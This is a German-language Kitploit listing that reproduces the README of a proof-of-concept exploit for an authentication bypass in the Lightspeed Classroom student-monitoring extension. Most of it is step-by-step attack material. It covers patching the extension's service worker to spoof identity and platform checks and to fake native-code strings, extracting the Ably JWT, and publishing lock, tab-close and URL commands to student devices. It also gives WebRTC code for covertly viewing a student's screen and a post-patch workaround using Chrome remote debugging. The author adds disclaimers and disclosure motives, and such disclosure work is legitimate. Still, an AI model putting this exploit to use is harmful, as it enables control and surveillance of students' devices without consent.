Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
ls-poc — Proof-of-Concept-Exploit für CVE-2026-30368, das eine Authentifizierungsumgehung in Lightspeed Classroom demonstriert, um Schüler-Geräte über den Ably-Kanal zu steuern. | Kitploit
Tools/GitHubGitHub/truekas/ls-poc
AufklärungExploitationWebanwendungs-ExploitationCommand and ControlRemote-Access-ToolPayload-Entwicklung
GitHubtruekas/ls-poc

ls-poc

Proof-of-Concept-Exploit für CVE-2026-30368, das eine Authentifizierungsumgehung in Lightspeed Classroom demonstriert, um Schüler-Geräte über den Ably-Kanal zu steuern.

Repository anzeigen
152vor 4 MonatenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2026-30368 Proof of Concept

[!IMPORTANT]

Dies ist gepatcht und erfordert nun Anmeldedaten. Verwende den Workaround, um Aktionen an dir selbst durchzuführen.

Einleitung

CVE-2026-30368 ermöglicht es einem Angreifer, Schüler-Geräte über eine Schwachstelle in der schwachen Authentifizierung von Lightspeed Classroom zu kontrollieren. Der POC (poc.js) führt den Service Worker der LS Classroom-Erweiterung im globalen Kontext aus. Der Worker führt außerdem classroom.wasm für einige Funktionen aus. wasm-loader.js lädt den Worker und extrahiert das JWT-Token, das von classroom.wasm generiert wird. Sobald es extrahiert ist, wird der Worker beendet und das Token wird an die Lightspeed-APIs gesendet, um ein Token zu erhalten, das für die Verbindung zum Ably-Kanal des Ziels verwendet wird. Von dort aus könnte ein Angreifer einen Befehl an ein Schüler-Gerät senden. Die Liste der Befehle und viele weitere Informationen findest du im vollständigen Writeup hier.

DU MUSST DEINE EIGENEN WORKER.JS-, CLASSROOM.WASM- UND MANIFEST.JSON-DATEIEN BEREITSTELLEN!

Diese können nicht in diesem Repo enthalten sein, weil:

  • Dieses Repo wird definitiv von Lightspeed mit einer DMCA belegt, wenn ich es tue
  • Die Dateien sind für jeden Bezirk/jede Version unterschiedlich

Um Probleme zu vermeiden, empfehle ich die Verwendung der Version 5.1.2.1763770643. Wenn du Hilfe bei der Anpassung neuerer Versionen benötigst, bist du auf dich allein gestellt.
Du kannst die Dateien worker.js und classroom.wasm aus dem Quellcode der Lightspeed-Erweiterung erhalten. Dies kann erreicht werden, indem du dich mit deinem Schulkonto in Chrome auf einem persönlichen Gerät anmeldest und dann den Erweiterungsquellcode aus dem Erweiterungsordner in deinem Chrome-Profilverzeichnis extrahierst. Du kannst die crx auch manuell über die Update-URL herunterladen.

EMPFOHLENE METHODE

Die einfachere Methode dieses Exploits besteht darin, zuerst classroom.wasm aus deinem Erweiterungsquellcode zu erhalten, es dann in dasselbe Verzeichnis wie wasm-only.js zu legen und auszuführen:

root@kitploit:~
$ node wasm-only.js

Gib eine E-Mail-Adresse und eine Kundennummer ein, wenn du dazu aufgefordert wirst. Dies verbindet sich mit dem Ably-Kanal. Gehe zu Zeile 815 und kommentiere aus, was du senden möchtest. Credit: ktibow auf Discord

Einrichtung des wasm-Loaders

Sobald du die Dateien hast, füge sie einfach zum Verzeichnis des geklonten Repos hinzu. Du musst in wasm-loader.js zur getManifest()-Funktion gehen und dein Erweiterungsmanifest dort einfügen. Du musst außerdem die Erweiterungs-ID oben in wasm-loader.js hinzufügen.

Erstelle eine Kopie von worker.js mit einem Dateinamen deiner Wahl. Du wirst sie später benötigen. Du musst worker.js durch webcrack laufen lassen, um es zu deobfuskieren und zu deminifizieren, um die notwendigen Änderungen vorzunehmen. Stelle dabei sicher, dass du nur die Optionen "Deobfuscate" und "Unminify" auswählst. Bevor du das Ergebnis zurück in deinen Editor einfügst, wird empfohlen, alle LSP-Server zu deaktivieren, da sie zufällige Variablen entfernen und den Worker in späteren Phasen zum Absturz bringen (ich schaue dich an, vtsls...)

Patchen des Workers

Da der Service Worker auf node.js ausgeführt wird (stelle sicher, dass du es installiert hast), muss er etwas gepatcht werden, damit er ordnungsgemäß läuft. Die JWT-Extraktionslogik muss ebenfalls hinzugefügt werden. Füge die folgenden 2 Funktionen ganz oben in worker.js hinzu:

root@kitploit:~
function valueCallBefore(call, before, func, r) {
  const actualWorkerUrl = 'chrome-extension://YOUR_EXTENSION_ID/worker_copy.js'
  if (call[0] == "chrome-extension://YOUR_EXTENSION_ID/worker.js") {
    return [actualWorkerUrl, call[1]];
  }
  if (func == chrome.identity.getProfileUserInfo) {
          call[1](https://github.com/truekas/ls-poc/blob/HEAD/identity)
          return []
  }
  return before
}

function valueCallAfter(call, after, func, r) {
  if (func.name == "toString"){
          return 'function getProfileUserInfo() { [native code] }'
  }
  if (call[0] == "worker.js") {
          return "chrome-extension://YOUR_EXTENSION_ID/worker_copy.js"
  }
  return after
}

Diese werden verwendet, wenn wir die wasm-Go-Laufzeit modifizieren, um Werte abzufangen und zu ändern, die von der LS-Classroom-wasm verwendet werden. Stelle sicher, dass du YOUR_EXTENSION_ID durch deine Erweiterungs-ID und worker_copy.js durch den Dateinamen der Kopie des ursprünglichen worker.js ersetzt, die du zuvor erstellt hast. Füge als Nächstes diese 2 Funktionen innerhalb der Haupt-Pfeilfunktion hinzu (nach dem (() => {):

root@kitploit:~
chrome.runtime.getPlatformInfo = function (e) {
 	e({
  		"arch": "x86-64",
  		"nacl_arch": "x86-64",
  		"os": "cros"
 	})
 	return {
  		"arch": "x86-64",
  		"nacl_arch": "x86-64",
  		"os": "cros"
 	}
}

chrome.identity.getProfileUserInfo = function (e) {
 	if (e){
  		e(identity)
 	} else {
  		return identity
 	}
}

Als Nächstes musst du IsClassroomActive auf true fest codieren, damit du dies außerhalb von Campus-Netzwerken ausführen kannst. Ändere einfach die Funktion so, dass sie immer true zurückgibt:

root@kitploit:~
_0x22e7ce.exports = {
  IsChromebookOnly: _0x218c73,
  IsClassroomActive: function () {
    return true;
  },
  LoadPolicy: _0x9069fc
};

Suche dann nach syscall/js.valueCall, um die valueCall-Funktion zu finden, die modifiziert werden muss. Dies informiert die wasm über einen JS-Wert. Die 2 Werte, die durch die Modifikation dieser Funktion abgefangen und geändert werden, sind der Pfad von worker.js (er wird in die Kopie deines Workers geändert, damit der Hash-Check besteht) und der Wert von chrome.identity.getProfileUserInfo.toString wird so geändert, dass er native code sagt, damit die WASM glaubt, dass sie vertrauenswürdig ist, obwohl sie in Wirklichkeit oben in der Datei modifiziert wurde. Dazu musst du die Funktionen valueCallBefore und valueCallAfter verwenden, die wir oben definiert haben. Modifiziere die valueCall-Funktion wie folgt (Variablennamen können variieren, aber die Struktur ist dieselbe):

root@kitploit:~
"syscall/js.valueCall": function (_0x4b3309) {
  _0x4b3309 >>>= 0;
  try {
    var _0x35f3af = _0x3634e7(_0x4b3309 + 8);
    var _0x13b354 = Reflect.get(_0x35f3af, _0x221273(_0x4b3309 + 16));
    var _0x369f3d = _0x5a331c(_0x4b3309 + 32);
    _0x369f3d = valueCallBefore(_0x369f3d, _0x369f3d, _0x13b354, _0x35f3af);
    var _0x1b573a = Reflect.apply(_0x13b354, _0x35f3af, _0x369f3d);
    _0x1b573a = valueCallAfter(_0x369f3d, _0x1b573a, _0x13b354, _0x35f3af);
    _0x4b3309 = _0x489a1f._inst.exports.getsp() >>> 0;
    _0x51c0ee(_0x4b3309 + 56, _0x1b573a);
    _0x489a1f.mem.setUint8(_0x4b3309 + 64, 1);
  } catch (_0x4b14cb) {
    _0x4b3309 = _0x489a1f._inst.exports.getsp() >>> 0;
    _0x51c0ee(_0x4b3309 + 56, _0x4b14cb);
    _0x489a1f.mem.setUint8(_0x4b3309 + 64, 0);
  }
},

Fast geschafft. Zuletzt musst du Code hinzufügen, um das JWT zu erfassen. Suche nach echoMessages: false und du wirst die Variable finden, die die Liste der an Ably gesendeten Header enthält. Direkt darunter füge diese Zeile hinzu (die Variablennamen werden höchstwahrscheinlich nicht korrekt sein, du kannst dieselbe Zeile finden, die auf ablyJwt in authHeaders zugreift):

root@kitploit:~
globalThis.__LIGHTSPEED_JWT__ = _0xed754d("ablyJwt");

Dies weist das JWT einer Variable im globalen Gültigkeitsbereich zu, sodass wasm-loader.js (das "Harness", das den Service Worker ausführt) darauf zugreifen kann. Damit ist die Modifikation des Workers abgeschlossen. Stelle sicher, dass alle deine LSPs noch deaktiviert sind. Wenn sie wieder aktiviert wurden, kannst du später Probleme mit undefinierten Variablen bekommen.

Letzte Vorbereitung

Gehe zur Datei poc.js. Füge oben die E-Mail-Adresse und die Kundennummer eines Kontos hinzu, an dem du testen möchtest (vorzugsweise dein eigenes). Die Verwendung einer anderen Kundennummer als deiner eigenen führt zu einem Fehler, da du die korrekten Dateien worker.js und classroom.wasm benötigst, die dieser Kundennummer entsprechen.

Ich befürworte nicht die Verwendung an echten Schülern ohne deren Zustimmung!!! 🙂

Der Ably-API-Schlüssel in poc.js wurde aus rechtlichen Gründen geschwärzt, daher musst du ihn selbst finden. Suche in worker.js danach, er beginnt mit G52. Deine Kundennummer findest du ebenfalls an derselben Stelle. Suche nach CUSTOMER_ID: oder nach einer Zeichenfolge in diesem Format: XX-XXXX-XXXX. Die letzten 3 Ziffern sind normalerweise 000.

Bezüglich des User-Agents kannst du ihn auf alles setzen, was du möchtest, aber AWS kann bestimmte UAs blockieren, die mit Automatisierungstools verbunden sind. Sobald du all dies erledigt hast, gehe nach unten und du kannst eine Nachricht hinzufügen, die über publish an den Ably-Kanal des Benutzers gesendet wird. Nachrichten können lock, closeTab, url und mehr enthalten. Die vollständige Liste der von Lightspeed verwendeten Ably-Nachrichten findest du hier.

Ausführung

Führe die Datei mit node.js, deno oder einer anderen Laufzeit aus. Bun funktioniert nicht.

root@kitploit:~
$ node poc.js

Du kannst den POC gerne erweitern und daraus ein CLI oder ähnliches machen.

RTC

Falls sich jemand gefragt hat, wie man die WebRTC-Funktion (Bildschirmansicht) von Lightspeed Classroom zum Laufen bringt: Es ist möglich, aber knifflig. Du musst die folgenden Bedingungen erfüllen, damit es funktioniert:

  • Die aktuelle Zeit muss in die Fenster des class_schedule passen, die in der Richtlinie festgelegt sind (mehr dazu im vollständigen Writeup)
  • Der Client muss sich auf Campus-Netzwerken befinden, falls erforderlich
  • Du solltest dich im selben Netzwerk befinden (optional, aber sehr empfehlenswert)
  • Funktioniert am besten, wenn ein Lehrer gleichzeitig Lightspeed verwendet (dies öffnet das Fenster für die RTC-Funktion)

Angenommen, du bist bereits mit dem Ably-Kanal des Clients verbunden, kann Folgendes verwendet werden, um eine WebRTC-Verbindung zu initiieren:

root@kitploit:~
channel.publish('request_rtc', {
  sessionId: sessId,
  role: 'viewer',
  want: ['video']
});

// rtc setup
const pc = new RTCPeerConnection();
const pendingIce = [];

pc.onicecandidate = (event) => {
  if (event.candidate?.candidate) {
    channel.publish('answer_rtc_ice', {
      sessionId: sessId,
      ice: event.candidate
    });
  }
};

channel.subscribe(async (msg) => {
  if (msg.name === 'offer_rtc' && msg.data.sessionId === sessId) {
    await pc.setRemoteDescription({ type: 'offer', sdp: msg.data.offer.sdp });
    for (const ice of pendingIce) await pc.addIceCandidate(ice);
    pendingIce.length = 0;

    const answer = await pc.createAnswer();
    await pc.setLocalDescription(answer);
    channel.publish('answer_rtc', { sessionId: sessId, answer });
  }

  if (msg.name === 'offer_rtc_ice' && msg.data.sessionId === sessId) {
    const ice = msg.data.ice;
    if (!ice?.candidate) return;
    if (pc.remoteDescription) await pc.addIceCandidate(ice);
    else pendingIce.push(ice);
  }
});

Es liegt an dir herauszufinden, wie du das Video anzeigen kannst (jeder mit grundlegenden HTML-Kenntnissen und etwas Googeln/KI sollte dazu in der Lage sein), aber der obige Code stellt die Verbindung her. Leider wird der Stream 1 FPS haben, aber das ist eine Einschränkung von LS Classroom selbst.

Nochmals, ich kann nicht garantieren, dass dies immer funktioniert, weil es viel zu knifflig ist, aber lass mich wissen, ob du es konsistent zum Laufen bringst!

Web-Viewer

Führe pnpm i aus, lege classroom.wasm im Stammverzeichnis des Repos ab und führe dann pnpm dev aus, um den Web-Viewer zu starten.

Workaround

[!IMPORTANT]

DIESER ABSCHNITT ERFORDERT ANMELDEDATEN UND EIN PERSÖNLICHES GERÄT

Am 23. April begann Lightspeed mit der Einführung eines Fixes für diese CVE. Es wurde eine neue Erweiterung hinzugefügt, Lightspeed Identity Agent (interner Codename: LS One), die Classroom mit einem Google-OAuth-Token zur Verifizierung deiner Identität versorgt. Der Workaround ermöglicht es dir, Aktionen an dir selbst oder an jeder anderen Person durchzuführen, für die du Anmeldedaten hast. Dies wurde nur unter Linux getestet.

Installiere zuerst stabiles Google Chrome und melde dich mit einem Schulkonto an. Stelle sicher, dass die Erweiterung Lightspeed Identity Agent installiert ist. Schließe Chrome. Kopiere als Nächstes das Chrome-Benutzerdatenverzeichnis an einen temporären Ort. Zum Beispiel unter Linux: cp -r ~/.config/google-chrome /tmp/chromedata. Lege deine classroom.wasm-Datei in das Repo-Verzeichnis. Fülle die Werte oben in oauth-poc.js aus. Öffne ein Terminal (du wirst es später verwenden, aber öffne es jetzt). Starte Chrome mit den folgenden Befehlszeilen-Flags neu:

root@kitploit:~
$ chrome --remote-debugging-port=9222 --user-data-dir=/tmp/chromedata

Dies aktiviert das Remote-Debugging. Warte 15 Sekunden, bis der Service Worker initialisiert ist. Führe oauth-poc.js aus:

root@kitploit:~
$ node oauth-poc.js

Wenn du eine Nachricht erhalten hast, dass die LS-One-Erweiterung nicht gefunden werden konnte, hast du entweder nicht 15 Sekunden nach dem Start von Chrome gewartet, zu lange gewartet und der Service Worker ist in den Ruhezustand gegangen, oder du hast die Erweiterungs-ID oben in oauth-poc.js nicht ausgefüllt.

Wenn du beim Verbinden mit Ably einen 403-Fehler erhältst, überprüfe, ob du die richtige classroom.wasm, die richtige E-Mail-Adresse hast, und versuche, dich mit einer Schul-IP zu verbinden.

Wenn du keine Fehler erhalten hast, herzlichen Glückwunsch! Lasse das Skript einfach laufen und du wirst immun gegen das Sperren durch Lehrer, das Schließen von Tabs und die Bildschirmansicht (experimentell).

Abschließende Anmerkungen

Bitte verwende diesen POC nicht für destruktive Zwecke. Ich bin nicht verantwortlich für irgendwelche unangemessenen Aktionen, die du begehen könntest. Wie du vielleicht weißt, hat Lightspeed 3 Monate lang geschlafen, und ich erwarte nicht wirklich einen Fix für weitere Woche (oder mehr?...). Hoffentlich wird ihnen dadurch die tatsächliche Schwere der Situation bewusst und sie beheben es schneller. Zuletzt: Wenn du zufällig ein Schul-IT-Mitarbeiter bist, sende dies an deine Vorgesetzten 🙂

♥️, truekas 4.22.2026

Tool herunterladen